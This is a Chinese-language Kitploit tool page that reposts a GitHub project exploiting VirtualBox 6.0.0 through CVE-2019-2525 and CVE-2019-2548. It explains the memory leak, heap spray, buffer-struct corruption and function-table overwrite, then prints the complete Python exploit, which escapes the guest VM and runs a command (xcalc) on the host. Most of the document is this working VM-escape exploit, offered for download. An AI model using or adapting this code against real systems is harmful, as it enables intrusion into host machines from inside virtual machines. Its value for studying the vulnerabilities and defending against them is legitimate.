Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
VirtualBox-6.0.0-Exploit-1-day — CVE-2019-2525 / CVE-2019-2548 | Kitploit
工具/GitHubGitHub/wotmd/virtualbox-6.0.0-exploit-1-day
内存取证漏洞分析漏洞利用信息收集渗透测试二进制利用
GitHubwotmd/virtualbox-6.0.0-exploit-1-day

VirtualBox-6.0.0-Exploit-1-day

CVE-2019-2525 / CVE-2019-2548

查看仓库
121146年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

VirtualBox 6.0.0 Exploit 1-day

所使用的VBox漏洞

  • CVE-2019-2525 : crUnpackExtendGetAttribLocation 信息泄露
  • CVE-2019-2548 : crServerDispatchReadPixels 整数溢出,导致堆溢出
  • 这些漏洞可在启用 3D 加速时触发。

首先,在说明之前,先附上执行以下漏洞利用的视频。

https://youtu.be/IQRLtqMgVCY?t=46

1. 内存泄漏 (CVE-2019-2525)

  1. 多次执行 hgcm_connect 和 hgcm_disconnect,可以在内存中放入与 cr_server 相关的值,并通过 crUnpackExtendGetAttribLocation 中的负偏移进行内存泄漏,从而获取 cr_server+19056 和 crVBoxHGCMDoDisconnect 的地址。
  2. 利用上述泄漏的内存值,获取 cr_server 和 crSpawn 的地址。

2. 堆喷射

  1. 将 CRVBOXSVBUFFER_t 堆喷射到内存中。此时使用 alloc_buf,由于内存连续分配,缓冲区结构体的 pData 也会紧邻缓冲区结构体分配。
  2. 因此,通过 alloc_buf(client, 0x20) 创建与 CRVBOXSVBUFFER_t 大小相同的 pData。

  1. 释放偶数个 Buffer ID。

  1. 交替分配 alloc_buf(client, 0x50, msg) 和 alloc_buf(client, 0x20, msg),以填充空闲块。0x50 无法分配到已释放的块中,而是分配到其他内存区域。

  1. 释放具有 0x50 长度的偶数 Buffer ID。

3. 损坏块 (CVE-2019-2548)

  1. 利用 crServerDispatchReadPixels 中发生的整数溢出,分配一个 0x20 大小的结构体。

    • bytes_per_row = 0x1FFFFFFD / height = 8 ⇒ 0x100000020
  2. 上述结构体被插入到喷射的堆区域中间的空闲区域中,利用其大小为 0x38 的特点,发生 0x18 的堆溢出,从而可以修改下一个结构体的 uiID 和 uiSize。

    • uiID = 0xdeadbeef / uiSize = 0xffffffff

  1. 可以使用具有修改后 uiID 的结构体来修改下一个块。由于 uiSize 为 0xffffffff,因此可以将下一个块的 pData 改为任意值。
    • uiID = 0xcafebabe / uiSize = 0xffffffff / pData = 任意值

  1. 现在,可以使用 uiID 为 0xdeadbeef 的结构体设置 pData,并利用 uiID 为 0xcafebabe 的结构体执行 OOB 写入。

4. 漏洞利用

  1. 利用 OOB 写入,将 "xcalc" 写入 cr_server + 0xc410。
  2. 利用 OOB 写入,将函数表中的 crServerDispatchBoundsInfoCR(cr_server+0x0xae98)覆盖为 crSpawn 函数。
  3. 执行 crServerDispatchBoundsInfoCR 以调用 crSpawn 函数。此时,传入参数 command="xcalc"、argv=["xcalc" 的地址, NULL],从而逃逸 VirtualBox 并执行计算器。

结果画面

Demo 视频

https://youtu.be/IQRLtqMgVCY?t=46

漏洞利用代码

import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *

def nop_msg():
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + "\x00\x00\x00" +chr(CR_NOP_OPCODE)
        + pack("<IIII", 0x41414141, 0x41414141, 0x41414141, 0x41414141)
        )
    return msg

def make_leak_msg(offset):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_EXTEND_OPCODE) #opcode
        + pack("<I", offset) #packet_length
        + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
        + pack("<I", 0x41424344)
        )
    return msg

def make_readpixels_msg(uiId, uiSize):#x, y, width, height, formata, ttype, pixels):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
        + pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
        + pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
        )
    return msg

def make_crSpawn_msg(cmd, argv):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_BOUNDSINFOCR_OPCODE) #opcode
        + pack("<I", 1)
        + cmd.ljust(16, "\x00")
        + pack("<I", 0)
        + pack("<QQ", argv, 0) # argv : execute string, null
        )
    return msg

def leak_address(client):
    leak_success = False;
    while not leak_success:
    	for i in range(0, 10):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x170):
                leak_success = True
                break
    cr_server = leak - 0x4a70
    
    leak_success = False;
    while not leak_success:
        for i in range(0, 100):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x230):
                leak_success = True
                break
    crSpawn = leak - 0xbd20
    return (cr_server, crSpawn)
    
def heapSpray(client):
    buf_ids = []
    spray_ids = []
    msg = nop_msg()
    # make CRVBOXSVCBUFFER_t & pData heapSpray area
    for i in range(120):
		buf_ids.append(alloc_buf(client, 0x20, msg))
    buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
    
    # even buf_ids free
    for idx in buf_ids[::2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
    
    # fill CRVBOXSVCBUFFER_t free areas
    for i in range(40):
        spray_ids.append(alloc_buf(client, 0x50, msg))
        alloc_buf(client, 0x20, msg)
    
    # make a hole between spray area
    for idx in spray_ids[::-2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])

def make_corrupt_obj(pData):
    obj = (
        "A"*0x28
        + pack("<Q", 0x35)
        + pack("<I", 0xcafebabe) #uiId
        + pack("<I", 0xffffffff) #uiSize
        + pack("<Q", pData) # table_addr
        )
    return obj

def write_anywhere(addr, data):
    #make corrupt obj
    fake_buffer = make_corrupt_obj(addr)
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data])

if __name__=='__main__':
    client = hgcm_connect("VBoxSharedCrOpenGL")
    set_version(client) #must use
    
    # Trigger to CVE-2019-2525
    cr_server, crSpawn = leak_address(client)
    crServerDispatchBoundsInfoCR = cr_server+0xae98
    
    print("[*] crServer : " + hex(cr_server))
    print("[*] crSpawn  : " + hex(crSpawn))
    #print("[*] crServerDispatchBoundsInfoCR : " + hex(crServerDispatchBoundsInfoCR))
    
    # heapSpray
    heapSpray(client)
    
    # Trigger to CVE-2019-2548
    msg = make_readpixels_msg(0xdeadbeef, 0xffffffff)
    crmsg(client, msg)
    #a = input("test1 : ")
   
    # setting "xcalc"
    xcalc_string = cr_server + 0xc410 
    write_anywhere(xcalc_string, "xcalc")
    print("[+] setting execute string ['xcalc'] : " + hex(xcalc_string))

    # overwrite talbe func crSpawn
    print("[+] overwriting crServerDispatchBoundsInfoCR to crSpawn")
    write_anywhere(crServerDispatchBoundsInfoCR, pack("<Q", crSpawn))

    # escape!! execute xcalc
    msg = make_crSpawn_msg("xcalc", xcalc_string)
    crmsg(client, msg)

    hgcm_disconnect(client) 

下载工具